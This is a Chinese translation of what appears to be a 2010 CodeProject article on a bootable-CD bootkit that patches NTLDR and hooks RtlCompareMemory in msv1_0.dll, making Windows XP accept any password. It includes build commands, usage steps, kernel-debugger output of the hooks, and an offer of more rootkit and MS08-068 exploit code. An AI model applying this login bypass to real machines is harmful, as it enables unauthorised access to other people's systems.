通过 bootkit 绕过 Windows XP 登录密码
关于 Windows XP 登录过程修改的文章

引言
有时您想登录 Windows 计算机,但不知道密码。几年前(2007 年夏天),我编写了一个实用程序来解决这个问题。当时,市面上没有类似的工具。存在一些能够重置密码的程序(顺便说一句,这不是一种非常隐蔽的方法)。如今,这类工具已不算什么特别之处(甚至有一个波兰人为此类工具创建了网页并收费),因此我决定发布我旧的代码。我相信 CodeProject 社区的聪明人可以将它扩展成真正可用的开源软件。
背景
我偶然看到了这篇博客文章 [1]。其思想是使用内核调试器来修改例程 msv1_0!MsvpPasswordValidate
,使其始终返回 TRUE
,即使密码不正确。这个想法的简单性给我留下了深刻的印象,我决定使用可启动 CD 而不是调试器来实现它。关于可启动 CD 的大量信息可以在 eEye 的 BootRoot [2] 中找到。另一篇启发性的材料是 [3]。
工作原理
Flow of execution
0 hic sum leones (DRAM initialization, POST, etc.) - see [4]
1 boot from CD:
CD code hooks int 15h and copies itself to RAM
CD code boots NTLDR from HDD
2 boot from HDD
NTLDR is running
NTLDR calls int 15h
int 15h hooked handler patches NTDLR with 32 bit stager
NTLDR is running
32 bit stager is called
32 bit stager calls payload
payload hooks IoCreateDriver
NTLDR is running
IoCreateDriver is called, hook registers custom callback
using PsSetLoadImageNotifyRoutine
PspLoadImageNotifyRoutine notifies us about images being loaded
if the image name is msv1_0.dll, hook (IAT style) RtlCompareMemory
3 windows logon dialog appears and arbitrary password is accepted
for every account
注意
- 使用 int 15h 而不是 BootRoot 及其克隆中常用的 int 13h
- 通过使用自定义中断 PCI-ROM 监控器发现 int 15h 是可行的,并且可以使代码更紧凑
msv1_0!MsvpPasswordValidate
未被挂钩,因为它未导出- 密码也在
ADVAPI32!SystemFunction031
中进行验证 - 上面提到的两个函数都调用导出的
RtlCompareMemory
RtlCompareMemory
被修改,使其对于长度为密码哈希的所有块都返回 0(true
)- 这是一个粗糙的技巧,不适合生产环境使用 :)
那么,它是如何工作的?当您输入密码时,Windows 会计算密码的哈希值,并将其与存储的正确密码哈希值进行比较。但比较例程已被修改,因此它对于任何两个哈希值(即您输入的任何密码)都返回 true。
Using the Code
此工具是为 CD ISO 和 Windows XP x86 设计的。欢迎您尝试将其用于 USB 闪存驱动器或修改它以适应新的 Windows 版本。
- 将 ISO 刻录到 CD 上。
- 从 CD 启动 Windows XP 计算机。
- 出现登录对话框时,输入所需的用户名(例如 Administrator、SUPPORT_388945a0 等)并按 Enter 键。
- 如果一切正常,您现在已成功登录。
要从源代码构建项目,您需要 FASM.exe 和 Microsoft 的 CDIMAGE.exe。
fasm boot.asm bootkit.rom && cdimage -bbootkit.rom C:\bootkit\root\ C:\bootkit.iso
假设 C:\bootkit\root 是一个任意非空文件夹,它将是新创建的 ISO 映像的根目录,该映像将被写入 C:\bootkit.iso。
VMWare 调试
要测试 bootkit,您可以在 VMWare 中设置 XP,使其从 C:\bootkit.iso 启动(不要忘记在 VMWare BIOS 中将启动设备更改为 CD)。如果您想了解登录过程中的情况,可以连接 windbg。
- 从 Microsoft 获取您的免费 Debugging Tools for Windows 副本并进行安装。
- 编辑 VMWare 虚拟机设置:添加串行端口,“输出到命名管道”,设置为“此端是服务器”,设置为“另一端是应用程序”,完成并选中“轮询时让 CPU 让步”。
- 在 VMWare 中启动 XP 并使用
msconfig
编辑 boot.ini(添加选项 /DEBUG,并使用 COM1 和最快的波特率)。关闭 XP。 - 重新启动 XP 并使用类似以下的快捷方式运行 windbg
"C:\Program Files\Debugging Tools for Windows (x86)\windbg.exe" -y srv*c:\windows\symbols* http://msdl.microsoft.com/download/symbols -b -k com:pipe, port=\\.\pipe\com_1,resets=0
如果您成功了,您将看到
Microsoft (R) Windows Debugger Version 6.9.0003.113 X86 Copyright (c) Microsoft Corporation. All rights reserved. Opened \\.\pipe\com_1 Waiting to reconnect... Connected to Windows XP 2600 x86 compatible target, ptr64 FALSE Kernel Debugger connection established. (Initial Breakpoint requested) Symbol search path is: srv*c:\windows\symbols* http://msdl.microsoft.com/download/symbols;SRV** http://msdl.microsoft.com/download/symbols Executable search path is: Windows XP Kernel Version 2600 UP Free x86 compatible Built by: 2600.xpsp_sp2_rtm.040803-2158 Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055ab20 System Uptime: not available Break instruction exception - code 80000003 (first chance) ******************************************************************************* * * * You are seeing this message because you pressed either * * CTRL+C (if you run kd.exe) or, * * CTRL+BREAK (if you run WinDBG), * * on your debugger machine's keyboard. * * * * THIS IS NOT A BUG OR A SYSTEM CRASH * * * * If you did not intend to break into the debugger, press the "g" key, then * * press the "Enter" key now. This message might immediately reappear. If it * * does, press "g" and "Enter" again. * * * ******************************************************************************* nt!RtlpBreakWithStatusInstruction: 804e3b25 cc int 3
- 现在 windbg 已连接到 Windows。让我们看看挂钩的函数
IoCreateDriver
kd> u IoCreateDriver nt!IoCreateDriver: 805d60e3 b8c3f00980 mov eax,8009F0C3h <- address of payload.asm/_stager 805d60e8 ffd0 call eax <- call _stager ... kd> uf 8009F0C3h <- _stager 8009f0c3 802c2407 sub byte ptr [esp],7 8009f0c7 60 pushad 8009f0c8 66bb53a3 mov bx,0A353h 8009f0cc e80b010000 call 8009f1dc 8009f0d1 68ecf00980 push 8009F0ECh <- address of payload.asm/ PspLoadImageNotifyRoutine 8009f0d6 ffd0 call eax ... cleanup hook 8009F0ECh <- PspLoadImageNotifyRoutine - checks if the loaded module is msv1_0.dll - if yes, hooks IAT RtlCompareMemory
- 模块 'msv1_0.dll' 现在已被修补。输入 'g' 并等待登录屏幕出现。然后中断(Ctrl+Break)。
kd> !process 0 0 winlogon.exe PROCESS 819aaa88 SessionId: 0 Cid: 0274 Peb: 7ffd8000 ParentCid: 01f0 DirBase: 0a5b2000 ObjectTable: e13d6110 HandleCount: 398. Image: winlogon.exe kd> .process /p /r 819aaa88 Implicit process is now 819aaa88 .cache forcedecodeuser done Loading User Symbols .................................................... kd> uf msv1_0!MsvpPasswordValidate <- we want this function to return always TRUE msv1_0!MsvpPasswordValidate: 77c69927 ?? ??? ^ Memory access error in 'u msv1_0!MsvpPasswordValidate l3' kd> .pagein msv1_0!MsvpPasswordValidate You need to continue execution (press 'g' <enter>) for the pagein to be brought in. When the debugger breaks in again, the page will be present. kd> g Break instruction exception - code 80000003 (first chance) nt!RtlpBreakWithStatusInstruction: 804e3b25 cc int 3 kd> dd msv1_0!_imp__RtlCompareMemory l1 <- this is IAT entry for RtlCompareMemory 77c610cc 77c60fe5 <- and this is address of our new RtlCompareMemory: RtlCompareMemoryPatch kd> u 77c60fe5 <- payload.asm/RtlCompareMemoryPatch - if size of chunks to compare is 10h (hash size), then return 0 (=TRUE) - else call original RtlCompareMemory - it's a nasty hack, use different method in production use :)
- 现在您可以使用 '
bp msv1_0!MsvpPasswordValidate
' 设置断点(要删除它,请键入 'bc*'),并使用 't
' 或 'p
' 命令逐步执行登录过程。有关帮助,请键入命令 '.help command_name
'。
关注点
此实用程序非常紧凑。源代码包括注释在内约 9 KB,编译后的二进制文件仅 582 B,但由于填充到适合 1 个 CD 扇区的大小,实际大小为 2 KB。因此,这里有足够的空间(1466 B)供您添加自己的代码。
代码注释是用捷克语写的,这是我的母语。如前所述,这是一个旧项目。如果您对代码有任何疑问,请在评论区告知我。
如果有人感兴趣,我可以发布更多旧的 C/ASM 代码(使用硬件锁的不可删除 rootkit 代码、用于 rootkit 代码存储的 VGA ROM、使用不可屏蔽中断 (NMI) 的真实硬实时、使用 MS08-068 漏洞利用(即 Conficker 等)远程启用远程桌面)。
参考文献
- bugcheck, 绕过您的测试箱的登录密码,
http://www.rootkit.com/blog.php?newsid=549,2006 年 8 月 10 日 - SOEDER, Derek, PERMEH, Ryan, eEye BootRoot,
www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf, 2005 - bugcheck, Skype, Windows 上的内核模式载荷,
http://www.uninformed.org/?v=all&a=15,2005 年 12 月 12 日 - Compaq Computer Corporation, Phoenix Technologies Ltd., Intel Corporation, BIOS Boot Specification, Version 1.01, 1996 年 1 月 11 日
历史
- 2010 年 5 月 5 日:初始帖子